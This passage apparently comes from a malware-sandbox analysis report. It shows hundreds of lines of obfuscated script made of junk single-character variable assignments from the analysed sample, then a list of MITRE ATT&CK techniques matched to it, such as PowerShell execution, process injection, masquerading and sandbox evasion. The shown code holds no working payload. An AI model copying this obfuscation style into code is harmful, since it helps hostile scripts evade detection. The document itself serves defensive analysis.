403	nqhmvkmcr = "N";
404	nqhmvkmcr = "F";
405	nqhmvkmcr = "b";
406	oyhfq = "D";
407	oyhfq = "Q";
408	oyhfq = "r";
409	oyhfq = "x";
410	oyhfq = "J";
411	oyhfq = "s";
412	oyhfq = "v";
413	oyhfq = "L";
414	oyhfq = "T";
415	oyhfq = "K";
416	oyhfq = "j";
417	oyhfq = "4";
418	vdpih = "v";
419	vdpih = "K";
420	vdpih = "W";
421	vdpih = "l";
422	vdpih = "j";
423	vdpih = "M";
424	vdpih = "l";
425	vdpih = "m";
426	vdpih = "D";
427	vdpih = "Y";
428	vdpih = "H";
429	vdpih = "g";
430	vdpih = "v";
431	vdpih = "c";
432	vdpih = "I";
433	vdpih = "x";
434	vdpih = "U";
435	vdpih = "A";
436	vdpih = "a";
437	vdpih = "D";
438	vdpih = "e";
439	vdpih = "D";
440	vdpih = "u";
441	vdpih = "r";
442	vdpih = "f";
443	vdpih = "\\";
444	xcrjfr = "m";
445	xcrjfr = "S";
446	xcrjfr = "P";
447	xcrjfr = "L";
448	xcrjfr = "r";
449	xcrjfr = "h";
450	xcrjfr = "m";
451	xcrjfr = "K";
452	xcrjfr = "f";
453	xcrjfr = "B";
454	xcrjfr = "h";
455	xcrjfr = "u";
456	xcrjfr = "H";
457	xcrjfr = "M";
458	xcrjfr = "d";
459	xcrjfr = "k";
460	xcrjfr = "h";
461	xcrjfr = "S";
462	xcrjfr = "d";
463	xcrjfr = "V";
464	xcrjfr = "j";
465	xcrjfr = "C";
466	xcrjfr = "G";
467	xcrjfr = "G";
468	xcrjfr = "x";
469	xcrjfr = "L";
470	xcrjfr = "r";
471	xcrjfr = "k";
472	xcrjfr = "p";
473	xcrjfr = "C";
474	xcrjfr = "k";
475	xcrjfr = "l";
476	xcrjfr = "F";
477	xcrjfr = "Q";
478	xcrjfr = "p";
479	xcrjfr = "E";
480	xcrjfr = "x";
481	sbgniyapy = "F";
482	sbgniyapy = "G";
483	sbgniyapy = "E";
484	sbgniyapy = "i";
485	sbgniyapy = "d";
486	sbgniyapy = "G";
487	sbgniyapy = "e";
488	sbgniyapy = "a";
489	sbgniyapy = "C";
490	sbgniyapy = "l";
491	sbgniyapy = "G";
492	sbgniyapy = "H";
493	sbgniyapy = "j";
494	sbgniyapy = "t";
495	sbgniyapy = "o";
496	sbgniyapy = "j";
497	sbgniyapy = "m";
498	sbgniyapy = "w";
499	sbgniyapy = "k";
500	sbgniyapy = "u";
501	pztmknrmz = "B";
502	pztmknrmz = "k";
503	pztmknrmz = "r";
504	pztmknrmz = "u";
505	pztmknrmz = "a";
506	pztmknrmz = "J";
507	pztmknrmz = "o";
508	pztmknrmz = "@";
509	napadr = "F";
510	napadr = "g";
511	napadr = "m";
512	napadr = "x";
513	napadr = "M";
514	napadr = "L";
515	napadr = "N";
516	napadr = "c";
517	napadr = "W";
518	napadr = "b";
519	napadr = "q";
520	napadr = "R";
521	napadr = "T";
522	napadr = "W";
523	napadr = "q";
524	napadr = "R";
525	napadr = "3";
526	hvytofs = "t";
527	hvytofs = "O";
528	hvytofs = "x";
529	hvytofs = "q";
530	hvytofs = "T";
531	hvytofs = "l";
532	hvytofs = "Z";
533	hvytofs = "i";
534	hvytofs = "W";
535	hvytofs = "k";
536	hvytofs = "e";
537	hvytofs = "X";
538	hvytofs = "z";
539	hvytofs = "H";
540	hvytofs = "i";
541	hvytofs = "l";
542	hvytofs = "a";
543	hvytofs = "z";
544	hvytofs = "q";
545	hvytofs = "u";
546	hvytofs = "P";
547	hvytofs = "k";
548	hvytofs = "s";
549	hvytofs = "Q";
550	hvytofs = "l";
551	hvytofs = "j";
552	hvytofs = "w";
553	hvytofs = "W";
554	hvytofs = "t";
555	hvytofs = "c";
556	icjhvd = "t";
557	icjhvd = "v";
558	icjhvd = "K";
559	icjhvd = "G";
560	icjhvd = "Q";
561	icjhvd = "O";
562	icjhvd = "d";
563	icjhvd = "x";
564	icjhvd = "L";
565	icjhvd = "z";
566	icjhvd = "o";
567	yocuulfit = "q";
568	yocuulfit = "F";
569	yocuulfit = "B";
570	yocuulfit = "W";
571	yocuulfit = "n";
572	yocuulfit = "V";
573	yocuulfit = "m";
574	yocuulfit = "A";
575	yocuulfit = "F";
576	yocuulfit = "v";
577	yocuulfit = "A";
578	yocuulfit = "r";
579	yocuulfit = "x";
580	yocuulfit = "F";
581	yocuulfit = "m";
582	yocuulfit = "I";
583	yocuulfit = "Z";
584	yocuulfit = "Z";
585	yocuulfit = "q";
586	yocuulfit = "e";
587	yocuulfit = "k";
588	yocuulfit = "u";
589	yocuulfit = "Q";
590	yocuulfit = "x";
591	yocuulfit = "T";
592	yocuulfit = "k";
593	yocuulfit = "H";
594	yocuulfit = "a";
595	yocuulfit = "n";
596	yocuulfit = "x";
597	yocuulfit = "t";
598	yocuulfit = "Y";
599	dhrqeaml = "w";
600	dhrqeaml = "f";
601	dhrqeaml = "l";
602	dhrqeaml = "k";
603	upmtcvtc = "g";
604	upmtcvtc = "E";
605	upmtcvtc = "C";
606	upmtcvtc = "J";
607	upmtcvtc = "j";
608	vwfktaj = "S";
609	vwfktaj = "m";
610	vwfktaj = "V";
611	vwfktaj = "A";
612	vwfktaj = "z";
613	vwfktaj = "I";
614	vwfktaj = "o";
615	vwfktaj = "W";
616	vwfktaj = "S";
617	vwfktaj = "x";
618	vwfktaj = "I";
619	vwfktaj = "x";
620	vwfktaj = "c";
621	vwfktaj = "k";
622	vwfktaj = "C";
623	vwfktaj = "u";
624	vwfktaj = "Y";
625	vwfktaj = "L";
626	vwfktaj = "t";
627	vwfktaj = "L";
628	vwfktaj = "o";
629	vwfktaj = "d";
630	vwfktaj = "k";
631	vwfktaj = "Q";
632	vwfktaj = "8";
633	gpjjtkem = "y";
634	gpjjtkem = "t";
635	gpjjtkem = "D";
636	gpjjtkem = "W";
637	gpjjtkem = "b";
638	gpjjtkem = "U";
639	gpjjtkem = "t";
640	gpjjtkem = "x";
641	gpjjtkem = "v";
642	gpjjtkem = "s";
643	gpjjtkem = "q";
644	gpjjtkem = "K";
645	gpjjtkem = "K";
646	gpjjtkem = "m";
647	gpjjtkem = "g";
648	gpjjtkem = "h";
649	hlchdhpar = "I";
650	hlchdhpar = "J";
651	hlchdhpar = "L";
652	hlchdhpar = "B";
653	hlchdhpar = "u";
654	hlchdhpar = "b";
655	hlchdhpar = "F";
656	hlchdhpar = "I";
657	hlchdhpar = "r";
658	hlchdhpar = "u";
659	hlchdhpar = "J";
660	hlchdhpar = "H";
661	hlchdhpar = "t";
662	hlchdhpar = "h";
663	hlchdhpar = "Q";
664	hlchdhpar = "w";
665	hlchdhpar = "r";
666	hlchdhpar = "p";
667	hlchdhpar = "U";
668	hlchdhpar = "G";
669	hlchdhpar = "i";
670	hlchdhpar = "V";
671	hlchdhpar = "h";
672	hlchdhpar = "K";
673	hlchdhpar = "e";
674	hlchdhpar = "O";
675	hlchdhpar = "n";
676	hlchdhpar = "T";
677	hlchdhpar = "y";
678	hlchdhpar = "I";
679	hlchdhpar = "i";
680	hlchdhpar = "x";
681	hlchdhpar = "F";
682	hlchdhpar = "T";
683	hlchdhpar = "a";
684	hlchdhpar = "l";
685	hlchdhpar = "O";
686	hlchdhpar = "U";
687	hlchdhpar = "L";
688	hlchdhpar = "P";
689	hlchdhpar = "U";
690	hlchdhpar = "W";
691	diufvj = "y";
692	diufvj = "Y";
693	diufvj = "z";
694	diufvj = "N";
695	diufvj = "Y";
696	diufvj = "U";
697	diufvj = "u";
698	diufvj = "e";
699	diufvj = "N";
700	diufvj = "T";
701	diufvj = "N";
702	diufvj = "c";
703	diufvj = "W";
704	diufvj = "G";
705	diufvj = "w";
706	diufvj = "q";
707	diufvj = "O";
708	diufvj = "l";
709	diufvj = "k";
710	diufvj = "H";
711	diufvj = "V";
712	diufvj = "Z";
713	diufvj = "v";
714	diufvj = "B";
715	diufvj = "S";
716	diufvj = "a";
717	diufvj = "L";
718	diufvj = "N";
719	diufvj = "B";
720	diufvj = "t";
721	diufvj = "y";
722	diufvj = "M";
723	diufvj = "t";
724	diufvj = "t";
725	diufvj = "e";
726	diufvj = "D";
727	diufvj = "k";
728	diufvj = "L";
729	diufvj = "V";
730	diufvj = "U";
731	diufvj = "x";
732	diufvj = "O";
733	uuycwturs = "p";
734	uuycwturs = "u";
735	uuycwturs = "L";
736	uuycwturs = "A";
737	uuycwturs = "x";
738	uuycwturs = "L";
739	uuycwturs = "S";
740	uuycwturs = "Q";
741	uuycwturs = "G";
742	uuycwturs = "F";
743	uuycwturs = "u";
744	uuycwturs = "y";
745	uuycwturs = "Q";
746	uuycwturs = "a";
747	uuycwturs = "K";
748	uuycwturs = "L";
749	uuycwturs = "D";
750	uuycwturs = "K";
751	uuycwturs = "V";
752	uuycwturs = "p";
753	uuycwturs = "p";
754	uuycwturs = "B";
755	uuycwturs = "r";
756	uuycwturs = "w";
757	voiarfl = "I";
758	voiarfl = "p";
759	ynnhxage = "g";
760	ynnhxage = "Q";
761	ynnhxage = "T";
762	ynnhxage = "p";
763	ynnhxage = "K";
764	ynnhxage = "E";
765	ynnhxage = "g";
766	ynnhxage = "t";
767	ynnhxage = "V";
768	ynnhxage = "p";
769	ynnhxage = "M";
770	ynnhxage = "R";
771	ynnhxage = "n";
772	ynnhxage = "l";
773	ynnhxage = "a";
774	ynnhxage = "g";
775	ynnhxage = "h";
776	ynnhxage = "m";
777	ynnhxage = "o";
778	ynnhxage = "H";
779	ynnhxage = "J";
780	ynnhxage = "P";
781	ynnhxage = "v";
782	ynnhxage = "l";
783	ynnhxage = "b";
784	ynnhxage = "I";
785	ynnhxage = "r";
786	ynnhxage = "P";
787	ynnhxage = "K";
788	ynnhxage = "G";
789	ynnhxage = "R";
790	ynnhxage = "C";
791	ynnhxage = "h";
792	ynnhxage = "S";
793	ynnhxage = "q";
794	ynnhxage = "0";
795	zhbba = "A";
796	zhbba = "x";
797	zhbba = "h";
798	zhbba = "U";
799	zhbba = "T";
800	zhbba = "o";
801	zhbba = "c";
802	zhbba = "W";
803	zhbba = "R";
804	zhbba = "z";
805	zhbba = "6";
806	hwrvllh = "h";
807	hwrvllh = "w";
808	hwrvllh = "A";
809	hwrvllh = "c";
810	hwrvllh = "i";
811	hwrvllh = "g";
812	hwrvllh = "h";
813	hwrvllh = "U";
814	hwrvllh = "V";
815	hwrvllh = "V";
816	hwrvllh = "V";
817	hwrvllh = "u";
818	hwrvllh = "z";
819	hwrvllh = "W";
820	hwrvllh = "Z";
821	hwrvllh = "m";
822	hwrvllh = "A";
823	hwrvllh = "G";
824	hwrvllh = "H";
825	injunb = "e";
826	injunb = "g";
827	injunb = "p";
828	injunb = "b";
829	injunb = "G";
830	injunb = "S";
831	injunb = "L";
832	injunb = "k";
833	injunb = "g";
834	injunb = "F";
835	injunb = "T";
836	injunb = "o";
837	injunb = "P";
838	injunb = "b";
839	injunb = "N";
840	injunb = "n";
841	injunb = "L";
842	injunb = "Q";
843	injunb = "d";
844	injunb = "u";
845	injunb = "G";
846	injunb = "O";
847	injunb = "E";
848	injunb = "A";
849	injunb = "F";
850	injunb = "l";
851	injunb = "d";
852	injunb = "S";
853	pglqi = "O";
854	pglqi = "m";
855	pglqi = "m";
856	pglqi = "i";
857	pglqi = "o";
858	pglqi = "E";
859	pglqi = "V";
860	pglqi = "g";
861	pglqi = "O";
862	pglqi = "l";
863	pglqi = "z";
864	pglqi = "N";
865	pglqi = "p";
866	pglqi = "s";
867	pglqi = "a";
868	pglqi = "g";
869	pglqi = "W";
870	pglqi = "m";
871	pglqi = "C";
872	pglqi = "C";
873	pglqi = "e";
874	pglqi = "T";
875	pglqi = "s";
876	pglqi = "B";
877	pglqi = "n";
878	pglqi = "h";
879	pglqi = "Z";
880	pglqi = "Y";
881	pglqi = "a";
882	oymdwsqa = "I";
883	oymdwsqa = "c";
884	oymdwsqa = "D";
885	oymdwsqa = "j";
886	oymdwsqa = "a";
887	oymdwsqa = "v";
888	oymdwsqa = "T";
889	oymdwsqa = "S";
890	oymdwsqa = "W";
891	oymdwsqa = "C";
892	oymdwsqa = "m";
893	oymdwsqa = "R";
894	oymdwsqa = "G";
895	oymdwsqa = "d";
896	oymdwsqa = "C";
897	oymdwsqa = "U";
898	oymdwsqa = "R";
899	oymdwsqa = "k";
900	oymdwsqa = "7";
901	spnvkwm = "b";
902	spnvkwm = "U";
903	spnvkwm = "s";
904	spnvkwm = "d";
905	bmnbdarpz = "v";
906	bmnbdarpz = "D";
907	bmnbdarpz = "Z";
908	bmnbdarpz = "E";
909	bmnbdarpz = "v";
910	bmnbdarpz = "K";
911	bmnbdarpz = "R";
912	bmnbdarpz = "T";
913	bmnbdarpz = "U";
914	bmnbdarpz = "j";
915	bmnbdarpz = "l";
916	bmnbdarpz = "X";
917	bmnbdarpz = "m";
918	bmnbdarpz = "D";
919	bmnbdarpz = "c";
920	bmnbdarpz = "K";
921	bmnbdarpz = "C";
922	nvhyvvk = "L";
923	nvhyvvk = "C";
924	nvhyvvk = "e";
925	nvhyvvk = "K";
926	nvhyvvk = "Y";
927	nvhyvvk = "C";
928	nvhyvvk = "Z";
929	nvhyvvk = "M";
930	nvhyvvk = "y";
931	nvhyvvk = "U";
932	nvhyvvk = "b";
933	nvhyvvk = "p";
934	nvhyvvk = "n";
935	nvhyvvk = "B";
936	nvhyvvk = "H";
937	nvhyvvk = "j";
938	nvhyvvk = "n";
939	nvhyvvk = "k";
940	nvhyvvk = "y";
941	nvhyvvk = "q";
942	nvhyvvk = "p";
943	nvhyvvk = "J";
944	nvhyvvk = "h";
945	nvhyvvk = "a";
946	nvhyvvk = "o";
947	nvhyvvk = "a";
948	nvhyvvk = "D";
949	nvhyvvk = "Y";
950	nvhyvvk = "G";
951	nvhyvvk = "C";
952	nvhyvvk = "L";
953	tzlhnh = "B";
954	tzlhnh = "E";
955	tzlhnh = "U";
956	tzlhnh = "k";
957	tzlhnh = "A";
958	tzlhnh = "t";
959	tzlhnh = "u";
960	tzlhnh = "I";
961	tzlhnh = "m";
962	tzlhnh = "K";
963	tzlhnh = "f";
964	tzlhnh = "u";
965	tzlhnh = "n";
966	mxpuxcfoh = "k";
967	mxpuxcfoh = "c";
968	mxpuxcfoh = "k";
969	mxpuxcfoh = "K";
970	mxpuxcfoh = "E";
971	mxpuxcfoh = "e";
972	mxpuxcfoh = "V";
973	mxpuxcfoh = "f";
974	mxpuxcfoh = "x";
975	mxpuxcfoh = "J";
976	mxpuxcfoh = "m";
977	mxpuxcfoh = "F";
978	mxpuxcfoh = "e";
979	mxpuxcfoh = "G";
980	mxpuxcfoh = "C";
981	mxpuxcfoh = "S";
982	mxpuxcfoh = "J";
983	mxpuxcfoh = "n";
984	mxpuxcfoh = "z";
985	mxpuxcfoh = "T";
986	mxpuxcfoh = "V";
987	mxpuxcfoh = "z";
988	mxpuxcfoh = "I";
989	fxnccc = "P";
990	fxnccc = "v";
991	fxnccc = "F";
992	fxnccc = "X";
993	fxnccc = "l";
994	fxnccc = "V";
995	fxnccc = "W";
996	fxnccc = "r";
997	fxnccc = "b";
998	fxnccc = "V";
999	fxnccc = "S";
1000	fxnccc = "G";
1001	fxnccc = "R";
1002	fxnccc = "t";
1003	rwwewpro = "U";
1004	rwwewpro = "x";
1005	rwwewpro = "F";
1006	rwwewpro = "B";
1007	rwwewpro = "n";
1008	rwwewpro = "n";
1009	rwwewpro = "&";
1010	tbqjc = "t";
1011	tbqjc = "o";
1012	tbqjc = "O";
1013	tbqjc = "a";
1014	tbqjc = "y";
1015	tbqjc = "o";
1016	tbqjc = "C";
1017	tbqjc = "m";
1018	tbqjc = "\"";
1019	sqqdzxwb = "R";
1020	sqqdzxwb = "R";
1021	sqqdzxwb = "F";
1022	sqqdzxwb = "p";
1023	sqqdzxwb = "J";
1024	sqqdzxwb = "b";
1025	sqqdzxwb = "R";
1026	sqqdzxwb = "m";
1027	sqqdzxwb = "I";
1028	sqqdzxwb = "U";
1029	sqqdzxwb = "E";
1030	ynnqma = "K";
1031	ynnqma = "B";
1032	ynnqma = "y";
1033	ynnqma = "i";
1034	ynnqma = "j";
1035	ynnqma = "f";
1036	ynnqma = "u";
1037	ynnqma = "j";
1038	ynnqma = "H";
1039	ynnqma = "X";
1040	ynnqma = "H";
1041	ynnqma = "r";
1042	ynnqma = "O";
1043	ynnqma = "T";
1044	ynnqma = "B";
1045	ynnqma = "T";
1046	ynnqma = "a";
1047	ynnqma = "U";
1048	ynnqma = "i";
1049	qpyemiibs = "Q";
1050	qpyemiibs = "X";
1051	qpyemiibs = "C";
1052	qpyemiibs = "q";
1053	qpyemiibs = "T";
1054	qpyemiibs = "n";
1055	qpyemiibs = "A";
1056	qpyemiibs = "F";
1057	qpyemiibs = "T";
1058	qpyemiibs = "m";
1059	qpyemiibs = "t";
1060	qpyemiibs = "L";
1061	qpyemiibs = "P";
1062	qpyemiibs = "l";
1063	qpyemiibs = "a";
1064	qpyemiibs = "S";
1065	qpyemiibs = "m";
1066	qpyemiibs = "o";
1067	qpyemiibs = "n";
1068	qpyemiibs = "h";
1069	qpyemiibs = "N";
1070	qpyemiibs = "o";
1071	qpyemiibs = "d";
1072	qpyemiibs = "L";
1073	qpyemiibs = "p";
1074	qpyemiibs = "O";
1075	qpyemiibs = "U";
1076	qpyemiibs = "q";
1077	qpyemiibs = "R";
1078	qpyemiibs = "O";
1079	qpyemiibs = "D";
1080	qpyemiibs = "S";
1081	qpyemiibs = "J";
1082	qpyemiibs = "g";
1083	qpyemiibs = "N";
1084	qpyemiibs = "n";
1085	qpyemiibs = "L";
1086	qpyemiibs = "L";
1087	qpyemiibs = "U";
1088	qpyemiibs = "a";
1089	qpyemiibs = "e";
1090	mqgxl = "Z";
1091	mqgxl = "d";
1092	mqgxl = "j";
1093	mqgxl = "a";
1094	mqgxl = "r";
1095	mqgxl = "q";
1096	mqgxl = "S";
1097	mqgxl = "O";
1098	mqgxl = "J";
1099	mqgxl = "A";
1100	mqgxl = "N";
1101	mqgxl = "V";
1102	mqgxl = "D";
1103	mqgxl = "q";
1104	mqgxl = "D";
1105	mqgxl = "B";
1106	mqgxl = "D";
1107	mqgxl = "W";
1108	mqgxl = "B";
1109	mqgxl = "Q";
1110	mqgxl = "e";
1111	mqgxl = "K";
1112	mqgxl = "q";
1113	mqgxl = "C";
1114	mqgxl = "A";
1115	mqgxl = "G";
1116	mqgxl = "R";
1117	mqgxl = "B";
1118	mqgxl = "V";
1119	mqgxl = "x";
1120	mqgxl = "I";
1121	mqgxl = "P";
1122	mqgxl = "K";
1123	mqgxl = "R";
1124	mqgxl = "q";
1125	mqgxl = "f";
1126	mqgxl = "J";
1127	mqgxl = "R";
1128	klesisbfc = "R";
1129	klesisbfc = "a";
1130	klesisbfc = "Q";
1131	klesisbfc = "9";
1132	woabdcki = "c";
1133	woabdcki = "z";
1134	woabdcki = "T";
1135	woabdcki = "X";
1136	woabdcki = "G";
1137	woabdcki = "5";
1138	ljmmt = "Z";
1139	ljmmt = "O";
1140	ljmmt = "P";
1141	ljmmt = "f";
1142	ljmmt = "X";
1143	ljmmt = "M";
1144	ljmmt = "T";
1145	ljmmt = "G";
1146	ljmmt = "P";
1147	yuvbrsbap = "j";
1148	yuvbrsbap = "g";
1149	yuvbrsbap = "E";
1150	yuvbrsbap = "A";
1151	yuvbrsbap = "D";
1152	yuvbrsbap = "z";
1153	yuvbrsbap = "Q";
1154	ohyipcu = "A";
1155	ohyipcu = "L";
1156	ohyipcu = "h";
1157	ohyipcu = "E";
1158	ohyipcu = "f";
1159	ohyipcu = "T";
1160	ohyipcu = "Y";
1161	ohyipcu = "V";
1162	ohyipcu = "c";
1163	ohyipcu = "N";
1164	ohyipcu = "e";
1165	ohyipcu = "f";
1166	ohyipcu = "K";
1167	ohyipcu = "O";
1168	ohyipcu = "v";
1169	ohyipcu = "r";
1170	ohyipcu = "j";
1171	ohyipcu = "t";
1172	ohyipcu = "e";
1173	ohyipcu = "H";
1174	ohyipcu = "R";
1175	ohyipcu = "S";
1176	ohyipcu = "r";
1177	ohyipcu = "K";
1178	ohyipcu = "u";
1179	ohyipcu = "E";
1180	ohyipcu = "r";
1181	ohyipcu = "G";
1182	ohyipcu = "a";
1183	ohyipcu = "P";
1184	ohyipcu = "g";
1185	ohyipcu = "E";
1186	ohyipcu = "J";
1187	ohyipcu = "Z";
1188	ohyipcu = "E";
1189	ohyipcu = "%";
1190	wauetnm = "t";
1191	wauetnm = "b";
1192	wauetnm = "o";
1193	wauetnm = "c";
1194	wauetnm = "D";
1195	wauetnm = "F";
1196	wauetnm = "C";
1197	wauetnm = "l";
1198	wauetnm = "A";
1199	wauetnm = "z";
1200	wauetnm = "Q";
1201	wauetnm = "I";
1202	wauetnm = "x";
1203	wauetnm = "f";
1204	wauetnm = "g";
1205	wauetnm = "c";
1206	wauetnm = "D";
1207	wauetnm = "Q";
1208	wauetnm = "V";
1209	wauetnm = "Y";
1210	wauetnm = "J";
1211	wauetnm = "i";
1212	wauetnm = "f";
1213	wauetnm = "H";
1214	wauetnm = "D";
1215	wauetnm = "H";
1216	wauetnm = "W";
1217	wauetnm = "E";
1218	wauetnm = "S";
1219	wauetnm = "N";
1220	wauetnm = "K";
1221	vdxudrda = "L";
1222	vdxudrda = "n";
1223	vdxudrda = "V";
1224	vdxudrda = "p";
1225	vdxudrda = "d";
1226	vdxudrda = "b";
1227	vdxudrda = "b";
1228	vdxudrda = "n";
1229	vdxudrda = "M";
1230	vdxudrda = "U";
1231	vdxudrda = "M";
1232	vdxudrda = "v";
1233	vdxudrda = "o";
1234	vdxudrda = "l";
1235	vdxudrda = "Y";
1236	vdxudrda = "f";
1237	vdxudrda = "F";
1238	vdxudrda = "h";
1239	vdxudrda = "H";
1240	vdxudrda = "L";
1241	vdxudrda = "h";
1242	vdxudrda = "H";
1243	vdxudrda = "x";
1244	vdxudrda = "d";
1245	vdxudrda = "S";
1246	vdxudrda = "I";
1247	vdxudrda = "n";
1248	vdxudrda = "r";
1249	vdxudrda = "N";
1250	vdxudrda = "q";
1251	vdxudrda = "M";
1252	vdxudrda = "g";
1253	vdxudrda = "U";
1254	vdxudrda = "t";
1255	vdxudrda = "_";
1256	pvuglfe = "v";
1257	pvuglfe = "o";
1258	pvuglfe = "O";
1259	pvuglfe = "i";
1260	pvuglfe = "w";
1261	pvuglfe = "e";
1262	pvuglfe = "Q";
1263	pvuglfe = "P";
1264	pvuglfe = "a";
1265	pvuglfe = "p";
1266	pvuglfe = "t";
1267	pvuglfe = "H";
1268	pvuglfe = "u";
1269	pvuglfe = "U";
1270	fyyyujtuq ( );	fyyyujtuq() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

